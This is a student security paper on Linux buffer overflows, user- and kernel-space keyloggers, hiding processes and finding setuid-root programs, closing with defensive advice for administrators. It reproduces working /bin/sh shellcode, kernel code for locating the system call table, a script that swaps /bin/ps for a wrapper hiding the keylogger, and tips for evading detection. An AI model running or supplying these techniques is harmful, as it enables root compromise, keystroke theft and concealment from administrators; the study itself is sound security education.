

Study of Buffer Overflows and Keyloggers in the Linux Operating System

Patrick Carroll
pcarrol1@umbc.edu,
Computer Science Department
University of Maryland, Baltimore County
Baltimore, MD 21250

Abstract

The goal of this paper is to analyze the security of the Linux operating system with regards to keyloggers and buffer overflows. This paper will cover how buffer overflows are constructed, how code can be protected from them, how keyloggers work and how they can be run in the Linux environment (including running in both user and kernel space.) Finally, this paper will cover how to find setuid programs as well as how to hide a process from the `ps` command.

1 Introduction

A keylogger is a program which runs on a computer and records every key typed to a file, device or to the network. Keyloggers can be used by malicious individuals who would like to gather information (such as PIN numbers, usernames and passwords, credit card information, etc...) from people physically inputting information through the keyboard. To show how a keylogger can be run by a non-privileged user, I will show how a buffer overflow can be used to run arbitrary programs with the permission of the root user.

This paper will focus on programs with buffer overflows which are setuid-root. That is, programs with permissions that when they are run, they are run with the same permissions as the owner of that file. This can be a common occurrence in poorly written server software. As an example of this, consider a mail program which runs on a server and listens on a specified port. When a client connects to this port, the server reads in a message that the client specifies. It then takes this message and writes it to the user's account stored on the server. Because this mail server will need to have access to all of the users home directories, the easiest way to write it would be to just make it setuid-root. This way, it can easily write to any user's home directory because it would be running as the root user.

The problem with this scheme occurs when we examine the way in which the server takes it's input

from the client. Say that the server reads in fixed-length message blocks of length 512 Kilobytes. If the server does not check the amount of data read, it can cause a condition known as a buffer overflow. This is where a program can be made to crash by giving it data of an unexpected length. Furthermore, instead of just making the server crash, it is possible to run arbitrary code on the server which may allow an attacker to completely compromise the system.

2 Buffer Overflows in Linux

A buffer overflow is a programming error which can happen when using a programming language that uses fixed buffer sizes but allows a user to specify a value larger than the buffer it is supposed to be put in. In most cases (such as Linux's case) this programming language is something like C or C++. This results in the malicious user being able to write data into a memory location that is outside of the intended data storage location [4]. The user can write data to memory because the faulty program allowed them to input more data then the size of the allocated buffer. To fix this error, the application programmer should have placed more rigorous checks on the incoming data to the program. Also, with higher-level programming languages such as Python, Lisp or Perl, buffer overflows are less common due to the nature of these languages not using fixed length buffers and arrays. A trivial example of a C program with a buffer overflow would be: [5]

```
#include <string.h>

void dumb_function(char *unknown_length_str)
{
    char little_buffer[16];

    /* this will try to copy each byte into
       buffer until it sees a '\0' (which
```

```

        it won't see) */
strcpy(little_buffer, unknown_length_str);
}

int main(int argc, char **argv)
{
    char big_string[256];
    int i;

    for (i = 0; i < 256; i++)
        big_string[i] = 'Z';

    dumb_function(big_string);
    return 0;
}

```

This program causes a buffer overflow because `dumb_function()` will attempt to copy all of the string `unknown_string_length` into `little_buffer`, which is clearly smaller in allocated size. This will cause 'Z' characters to be written into memory after `strcpy()` goes past the 16th index.

2.1 The Stack

The stack is a dynamic data structure which is maintained by the operating system. It is used by the operating system to keep track of the local variables and memory allocation of function calls during program execution. Because locally defined arrays or buffers will be put on the stack, if a malicious user is allowed to specify variable length input, it's possible that the user can write instructions onto the stack to be executed. The stack is typically implemented in hardware by maintaining a register which holds a memory reference called the stack pointer. The stack pointer points to the beginning or end of the stack, and the stack either grows from the stack pointer or away from it. This is all dependent on the architecture of the system.

2.2 Shellcode

The code that is to be executed by overwriting the stack is called shellcode. There exist many examples of shellcode for pretty much all operating systems such as BSD, Linux, Solaris and Windows [2]. Shellcode is formed by taking assembly code which performs the desired action, converting it to a hexadecimal representation and removing all of the null bytes from it. The reason that the null bytes are removed from it is because in a programming language like C, null bytes are used to signify the end of a string and would therefore terminate the execution of the desired shellcode.

Given that there is a way for a program to write code into the stack of a program being attacked, it is

possible to change the execution order of the program. This can be done by modifying the stack so that the return address of the current function points to a different address. This different address can be set up to contain target shellcode to be run. Calculating the return address of a function can be done by examining the program in a debugging environment such as the GNU Project Debugger.

To develop shellcode for attacking a system, the attacker must have some knowledge of the corresponding assembly code for the action they would like to perform. If the attacker does not know assembly, and they're compiler supports it, they could write the attack in C and compile it to assembly code. Because the assembly code to be executed will be stored on the stack, it must be stored in a hexadecimal representation. To do this, the person crafting the shellcode can again compile the target attack and use a debugger like GDB to calculate the hexadecimal representations of the instructions.

As mentioned previously, one final hurdle to overcome when developing shellcode is to remove any null characters. This process consists of examining the hexadecimal output of the shellcode and figuring out ways to replace instructions with instructions which perform equivalent actions, however they do not produce null bytes in the shellcode. As an example of the various steps in forming shellcode, the example from "Smashing The Stack For Fun And Profit" [5] is included:

- The assembly code for running the `"/bin/sh"` program is included. This code uses the assembly `JMP` and `CALL` instructions to allow the shellcode to use relative addressing. If values were not calculated ahead of time, we would have to figure out the exact address of memory which the attack needs to jump to.

<code>jmp</code>	<code>0x2a</code>	# 3 bytes
<code>popl</code>	<code>%esi</code>	# 1 byte
<code>movl</code>	<code>%esi,0x8(%esi)</code>	# 3 bytes
<code>movb</code>	<code>\$0x0,0x7(%esi)</code>	# 4 bytes
<code>movl</code>	<code>\$0x0,0xc(%esi)</code>	# 7 bytes
<code>movl</code>	<code>\$0xb,%eax</code>	# 5 bytes
<code>movl</code>	<code>%esi,%ebx</code>	# 2 bytes
<code>leal</code>	<code>0x8(%esi),%ecx</code>	# 3 bytes
<code>leal</code>	<code>0xc(%esi),%edx</code>	# 3 bytes
<code>int</code>	<code>\$0x80</code>	# 2 bytes
<code>movl</code>	<code>\$0x1, %eax</code>	# 5 bytes
<code>movl</code>	<code>\$0x0, %ebx</code>	# 5 bytes
<code>int</code>	<code>\$0x80</code>	# 2 bytes
<code>call</code>	<code>-0x2f</code>	# 5 bytes

```
.string \"/bin/sh\" # 8 bytes
```

- The corresponding shellcode:

```
char shellcode[] =  
    "\\xeb\\x2a\\x5e\\x89\\x76\\x08\\xc6\\x46"  
    "\\x07\\x00\\xc7\\x46\\x0c\\x00\\x00\\x00"  
    "\\x00\\xb8\\x0b\\x00\\x00\\x00\\x89\\xf3"  
    "\\x8d\\x4e\\x08\\x8d\\x56\\x0c\\xcd\\x80"  
    "\\xb8\\x01\\x00\\x00\\x00\\xbb\\x00\\x00"  
    "\\x00\\x00\\xcd\\x80\\xe8\\xd1\\xff\\xff"  
    "\\xff\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68"  
    "\\x00\\x89\\xec\\x5d\\xc3";
```

- And finally the shellcode which is the results of the assembly code modified so that null values are removed:

```
char shellcode[] =  
    "\\xeb\\x1f\\x5e\\x89\\x76\\x08\\x31\\xc0"  
    "\\x88\\x46\\x07\\x89\\x46\\x0c\\xb0\\x0b"  
    "\\x89\\xf3\\x8d\\x4e\\x08\\x8d\\x56\\x0c"  
    "\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd"  
    "\\x80\\xe8\\xdc\\xff\\xff\\xff/bin/sh";
```

3 Keyloggers in Linux

When attempting to write a keylogger for the Linux environment (and most UNIX environments), there are two general ways that the keylogger can be run: as a user space program or as a kernel module which runs in kernel space. The code provided with this paper demonstrates how to make a keylogger which runs in user space.

3.1 User Space Keyloggers

For a user space keylogger to work, it must find a way to intercept the keyboard input. The method utilized by most user space keyloggers is to read directly from the keyboard input port. This operation requires root access due to the operating system permissions.

3.1.1 Pros of User Space Keyloggers

- It is trivial for a user space program to write large amounts of data to the filesystem.
- The keylogger can be portable across different systems without the need to compile it specifically for an architecture.
- The keylogger can have better access to network utilities for sending data to a different host.

3.1.2 Cons of User Space Keyloggers

- The keylogger must be able to figure out which keyboard layout is being used as well as be able to interpret the keymap being used.
- If the keylogger is reading from the PS/2 port and there is a PS/2 mouse attached, the keylogger must be able to parse and ignore PS/2 mouse data.
- The user may be using a USB keyboard in which case the keylogger must be able to figure that out and know how to read from a USB port. Also, if not a USB device, the user may be using any number of other input devices supported by Linux.

3.1.3 Areas of Improvement

One major improvement for the current keylogger would be for it to support additional keymaps. This could be implemented by changing the `scancodes.c` file to call a function which turns an appropriate keymap instead of using a global, fixed keymap. Also, in the `keyboard_port.c` file, the logic would have to be changed so that the scancodes of the shift keys are initialized to be those of the current keymap. Currently, the only layout supported is a standard US-layout keyboard. Also, another concern of a keylogger is that you are going to have a lot of information building up fairly quickly. This can result in pretty big files which may trigger detection by a system administrator. To get around this, some networking functionality can be added to the keylogger so that it will periodically send it's results to a remote host and delete the files on the local computer.

3.2 Kernel Space Keyloggers

Kernel space keyloggers pose many advantages over user space keyloggers, yet they also face a very different set of challenges. The main problem with kernel space keyloggers is that because they are dependent on the version of the Linux kernel and the specific implementation, they will not be portable across different versions of Unix or Linux. Because it is usually not practical for an attacker to rebuild the kernel on a target system, the primary method of adding code which will run in kernel mode is to do it by writing a kernel module. A kernel module is similar to a shared library, in that it is a compiled object file which can be linked in with a program. In the case of the Linux kernel, modules are able to be inserted and removed without having to restart the system.

3.2.1 Methods of Intercepting Key Strokes

Unlike a user space keylogger, the kernel keylogger gets access to it's information by inserting itself into the kernel and intercepting incoming keycodes without modification to the performance of the system. There are several methods for doing this [6], including:

- Intercept the keyboard interrupt handler. Interrupt handlers are functions which are called by the Linux kernel when certain events happen. For a keylogger, it would be possible to intercept the default keyboard interrupt function and replace it with a function which logs the keys and calls the original function. The main problem with this approach is that intercepting interrupts can be dangerous and can cause the system to crash. Also, if the keys are intercepted at this point, the keylogger must still parse the scancodes and deal with the keyboard mapping.
- The function used by the kernel for translating scancodes is called `handle_scancode()`. It is possible to intercept this function to record all keystrokes. This has the disadvantage that you will still have to parse the scancodes and figure out what the current keymap is. Also, because `handle_scancode()` is not exported by default, you will have to use the method described later for locating it's address. There is also a function `put_queue()` which is used by `handle_scancode()` which would be intercepted as well.
- Intercept all TTY information. This can be done by intercepting the `tty_read()` or `receive_buf()` functions. By intercepting data from the TTY information, you gain many advantages. For one, you do not have to handle scancodes or keymaps. Also, other data such as SSH and telnet sessions work with TTYs and would therefore be able to intercept data from more sources. This approach could be performed by first intercepting the system call used for opening TTY sessions. You could save a descriptor for each TTY opened and then use that to read copies of the data being sent.

3.2.2 Pros of Kernel Space Keyloggers

- Because the kernel does the work of translating keycodes into a readable form (i.e. translating Unicode, converting between keymaps and languages) the keylogger has less work to do.

- A kernel space keylogger has access to operating system's TTY structures which would allow for logging of all logged in users (such as SSH and telnet sessions) instead of just the user typing on the keyboard.
- The kernel does the hard work of parsing mouse PS/2 codes or figuring out if the keyboard is a USB keyboard and working with various drivers. This makes the kernel logger quicker and cleaner because it does not have to handle any additional unnecessary logic.

3.2.3 Cons of Kernel Space Keyloggers

- The kernel module used must be built specifically for the kernel of the system that is being targeted. Also depending on the method chosen for interception, the module may not be easily portable among various kernel versions.
- As of the 2.6 Linux kernel, the system call table is no longer exported and therefore system calls are not as easily intercepted.
- Because of the nature of kernel space programs, there is no easy or standard way of writing to a file system from the kernel. [9] For many various reasons, code that is run in the kernel is not supposed to access the file system and this poses a problem because the keylogger must find a way to output it's data.
- If not implemented and tested carefully, a kernel module can have very significant effects on the performance of the system.

While you have to build the kernel module specifically for the system that you are going to run it on, this is really not that hard. Given that an attacker has a local shell account on the system, they can create a Makefile containing:

```
K_DIR := /lib/modules/$(shell uname -r)/build
obj-m += klog.o

all:
    make -C $(K_DIR) M=$(PWD) modules

clean:
    make -C $(K_DIR) M=$(PWD) clean
```

If the attacker does not have a local user account, but they know the kernel version, they could simply install the given version of Linux locally and build the kernel module.

3.2.4 Locating the System Call Table

As of the Linux 2.6 kernel, the table containing all of the system calls is no longer exported. This makes the interception of system calls much harder because the attacker must now calculate the location of the system call table. This causes portability problems because specific characteristics of the x86 architecture are exploited [10] [7]. Some example code [11] for calculating the location of the system call table is:

```
struct {
    unsigned short limit;
    unsigned int base;
} __attribute__((packed)) idtr;
```

```
struct {
    unsigned short off1;
    unsigned short sel;
    unsigned char none, flags;
    unsigned short off2;
} __attribute__((packed)) idt;
```

```
void *memmem(const void *haystack, size_t hl,
             const void *needle, size_t nl)
{
    int i;

    if (nl > hl)
        return 0;

    for (i = hl - nl + 1; i; --i) {
        if (!memcmp(haystack, needle, nl))
            return (void *)haystack;
        ++haystack;
    }

    return 0;
}
```

```
void find_sys_call_table(unsigned **sct)
{
    unsigned sys_call_off;
    char sc_asm[CALLOFF], *p;

    /* ask for interrupt descriptor table */
    asm("sidt %0" : "=m" (idtr));

    /* read-in IDT for 0x80 vector (syscall) */
    memcpy(&idt, (void *)idtr.base + 8 * 0x80,
           sizeof(idt));
```

```
sys_call_off = (idt.off2 << 16) | idt.off1;

memcpy(sc_asm, (void *)sys_call_off, CALLOFF);

/* we have syscall routine address now, look for
   syscall table dispatch (indirect call) */
p = (char*)memmem(sc_asm, CALLOFF,
                  "\xff\x14\x85", 3);

if (p)
    *sct = (void *)*(unsigned*)(p+3);
else
    *sct = NULL;
}
```

Now that you have this code, you simply call `find_sys_call_table(sct)` and `sct` will be set to the location of the system call lookup table. Given this, the attacker can find the index of the system call which they'd like to replace, and simply do the replacement from the initialization code of a kernel module.

3.2.5 Areas of Improvement

There are a couple of areas which are in need of improvement. The most important problem that seems to need a solution is the problem of writing the output of the keylogger to a filesystem. In most kernel space keylogging examples this problem was solved by simply writing to the kernel log. This is not very practical for a production keylogger because a system administrator would be likely to check the system log which would reveal that a keylogger is running. Another approach used by some kernel modules for doing file I/O is to use the `filp_open()` and `_write()` functions. [6] The common method used for interacting with the filesystem from a kernel module is to use the `procfs` system. `procfs` works by allowing kernel modules to define files which reside in `/proc`. When they are read or written to, predefined handler functions get called. A kernel space keylogger could use this system in conjunction with a user space program, where the user space program constantly reads from a `/proc` file and writes it to a file. The keylogger would have to keep a buffer containing the last read key strokes. This could become a problem if the user space program wasn't running to read the keystrokes off of the `/proc` filesystem, the keylogger would have to remember more and more keystrokes and would take up large amounts of memory very quickly.

3.3 Methods of Hiding Processes In Linux

The method utilized in our example for hiding processes is to modify the `/bin/ps` program so that all of its normal results are returned, with the exception of a program that should be excluded. In this case, the program to be excluded is the `klogger` command. This process works by first renaming the `/bin/ps` command to a random, hidden filename in its parent directory. It then fills the `/bin/ps` file with a Bash script which calls the hidden file with its given arguments (that is the argument the user thinks they are passing to the `ps` command) and uses the `grep` command with the `-v` option for removing matches. The script to do this is attached with the rest of the code and is called `remove_from_results.sh`. A simplified version of this script (without argument checking and user ID checking) is:

```
#!/bin/sh

TARGET=$1
# use a weird name (.tmp.PID)
RENAME="'dirname $TARGET'/.tmp.$$"
FILTER=$2

mv $TARGET $RENAME

cat >$TARGET <<__EOF
#!/bin/sh

# the command we're ignoring will also show
# up so we need to ignore that (and escape
# regex characters)
IGN='\basename $RENAME \'
ESC='\echo $IGN | perl -pe 's/([.+?*)/\\1/g'\

$RENAME \$@ | egrep -v '$FILTER|grep|$ESC'

__EOF
```

After running this command, you have a `/bin/ps` command which looks like:

```
#!/bin/sh

# the command we're ignoring will also show up
# so we need to ignore that (and escape regex
# characters)
IGN='basename /bin/.tmp.952 '
ESC='echo $IGN | perl -pe 's/([.+?*)/\\1/g'
```

```
/bin/.tmp.952 $@ | egrep -v 'klogger|grep|$ESC'
```

This script assumes that it is given two arguments (the `$1` and `$2` variables). One way to improve this script and make it less detectable would be to write it in a programming language such as C, which is compiled. This way, if the system administrator were to run a check on all of the system commands, and were to inspect the contents of the `/bin/ps` command, they would see a binary file and wouldn't immediately see something suspicious. Otherwise they would see that the `/bin/ps` command is a shell script which would probably cause some alarm.

One interesting thing to note about this script is that it could also be used to hide kernel modules. It could do this by modifying the `/sbin/lsmmod` command in the same way, but in this case the string to be filtered out would be the name of the `keylogger` kernel module.

The main problem with this approach is that it does not completely hide the process. For example, if the user was to use the `top` command, they would see this process. Because the `top` command is interactive and updates its display constantly, it's not possible to simply use `grep` to filter out results. Also, utilities such as the Gnome process listing GUI would not be as easy to fool as the `ps` command.

To get around this problem, it is possible to modify the `/proc` filesystem to not include a given program [8].

3.4 Detection of Setuid-Root Programs

A setuid program is an executable file which has its setuid bit set. When the setuid bit is set, whenever that executable is executed, it will run with the privileges of its owner. For example suppose Bob created a setuid program which wrote "Hello, World" to a file. When this program is run by Bob, the file created from the running of that program has the permissions of the Bob user. Also, if another user named Mary ran this program, when the program created a file it would still have the same permissions as the Bob user. That is, while Mary was running the program, it had Bob's permissions.

The reason that this is mentioned is that in order for our keylogger to run, it must be running as root. In order to gain root access, our program will have to be run as the result of a buffer overflow in a setuid-root program, thus enabling it to have root permissions. When attempting to exploit a setuid-root program, you must first find one. This can be as simple as using the `find` command:

```
find / -perm +4000 2>/dev/null
```

This command basically says to recursively search the filesystem starting at the root, and look for files with the setuid bit set. The `2>/dev/null` part is simply to filter out file permission errors.

If the attacker does not have local access to the system to run this command, they can use other tools to "fingerprint" the target system. For example, the attacker can use a program such as Nmap [12] to determine what services are running, what the target operating system is and what versions of those services are running. Once that information is known, public databases containing known vulnerabilities and bugs can be consulted.

4 Summary and Conclusions

In summary, buffer overflows have been around for a quite a while and still have an important role in the security of programs. Many viruses, including the Morris, Slammer and Blaster worms propagated by way of buffer overflows [3]. Keyloggers, one of the many tools used by hackers provide an easy way to gain additional information such as usernames, passwords, addresses and credit card information.

From what I have found, the Linux 2.6 kernel is fairly robust in it's protection of the interception of system calls as well as buffer overflows. Our team was not able to exploit the Linux 2.6 kernel using a buffer overflow. We were not able to do this because the Linux 2.6 kernel implements stack randomization which makes predictable buffer overflows much harder to execute [1]. We were however still able to run our user space keylogger. There is no reason that this would not work, since Linux makes no precautions with regards to allowing users with the appropriate permissions to access the PS/2 port.

Because buffer overflows are the result of an error on the programmers side, they can be avoided by better training people who write code. Also, when developing a public-facing server, the designer should be sure to be tolerant of the input it receives and strict about it's conformance to the protocol. Another option which may work better would be to use a more high-level language which provides more powerful data structure primitives and would therefore not be susceptible to buffer overflows. As systems grow larger and are worked on by more and more people, if the logic of allocating and maintaining buffer sizes is left up to the programmers, programs will remain susceptible to buffer overflow attacks.

As the Linux 2.6 kernel already seems fairly secure, there are several ways which a Linux administrator can check for and protect against the types of attacks described in this paper:

- Maintain a set of cryptographic (such as MD5 or SHA-1) checksums of all of the system utilities and periodically check for any changes among them. This could be done by writing a script which is run periodically and checks the checksums of all of the utilities against the known database. The known database would probably be stored on a protected network share.
- Check the kernel log periodically for errors. This is not very practical to do by hand since one administrator may be keeping track of many computers. Instead, a script could be written which checks for the rate of change in the kernel log. If it started to change too quickly, the script could send an alert to the administrator's email address.
- Check system and CPU usage of all programs running as root. If a keylogger is running in user space, it will likely be taking a large amount of resources. By writing a program which checks all processes running as root and alerts the administrator of processes which have an unusually high usage.
- Also, all versions of services running on a system should be kept up to date and checked against the various security databases for known flaws. If there are known exploits, they should be patched immediately.

Acknowledgements

This work and research was done along with my partner for this project, Chris Mettert-Young. I did most of the work and research on the keylogger, whereas Chris focused on finding and exploiting a buffer overflow.

References

- [1] Tittle, Ed and Korelc, Justin, "Linux virtual address randomization and impacting buffer overflows,"
http://searchenterpriselinix.techtarget.com/tip/0,289483,sid39_gci1144658,00.html
- [2] Kemp, Steve, "Shellcode Samples,"
<http://shellcode.org/Shellcode/>
- [3] Wikipedia, "Stack buffer overflow,"
http://en.wikipedia.org/wiki/Stack_buffer_overflow
- [4] Wikipedia, "Buffer overflow,"
http://en.wikipedia.org/wiki/Buffer_overflow
- [5] Aleph One, "Smashing The Stack For Fun And Profit,"
<http://shellcode.org/Shellcode/tutorial/p49-14.txt>

- [6] rd, "Writing Linux Kernel Keylogger,"
<http://www.phrack.org/issues.html?issue=59&id=14>,
June 19th, 2002
- [7] sd,
"Linux on-the-fly kernel patching without LKM,"
[http://doc.bughunter.net/rootkit-backdoor/
kernel-patching.html](http://doc.bughunter.net/rootkit-backdoor/kernel-patching.html)
- [8] ubra, "hiding processes (understanding the linux
scheduler),"
<http://www.phrack.org/issues.html?issue=63&id=18>
- [9] Kroah-Hartman, Greg "Driving Me Nuts -
Things You Never Should Do in the Kernel,"
<http://www.linuxjournal.com/article/8110>
- [10] ig0r "System calls replacement,"
<http://kerneltrap.org/node/5793>
- [11] "scprint.c,"
[http://exithematrix.dod.net/matrixmirror/
misc/kernel_auditor/scprint.c](http://exithematrix.dod.net/matrixmirror/misc/kernel_auditor/scprint.c)
- [12] "Nmap -
Free Security Scanner For Network Exploration &
Security Audits," <http://insecure.org/nmap/>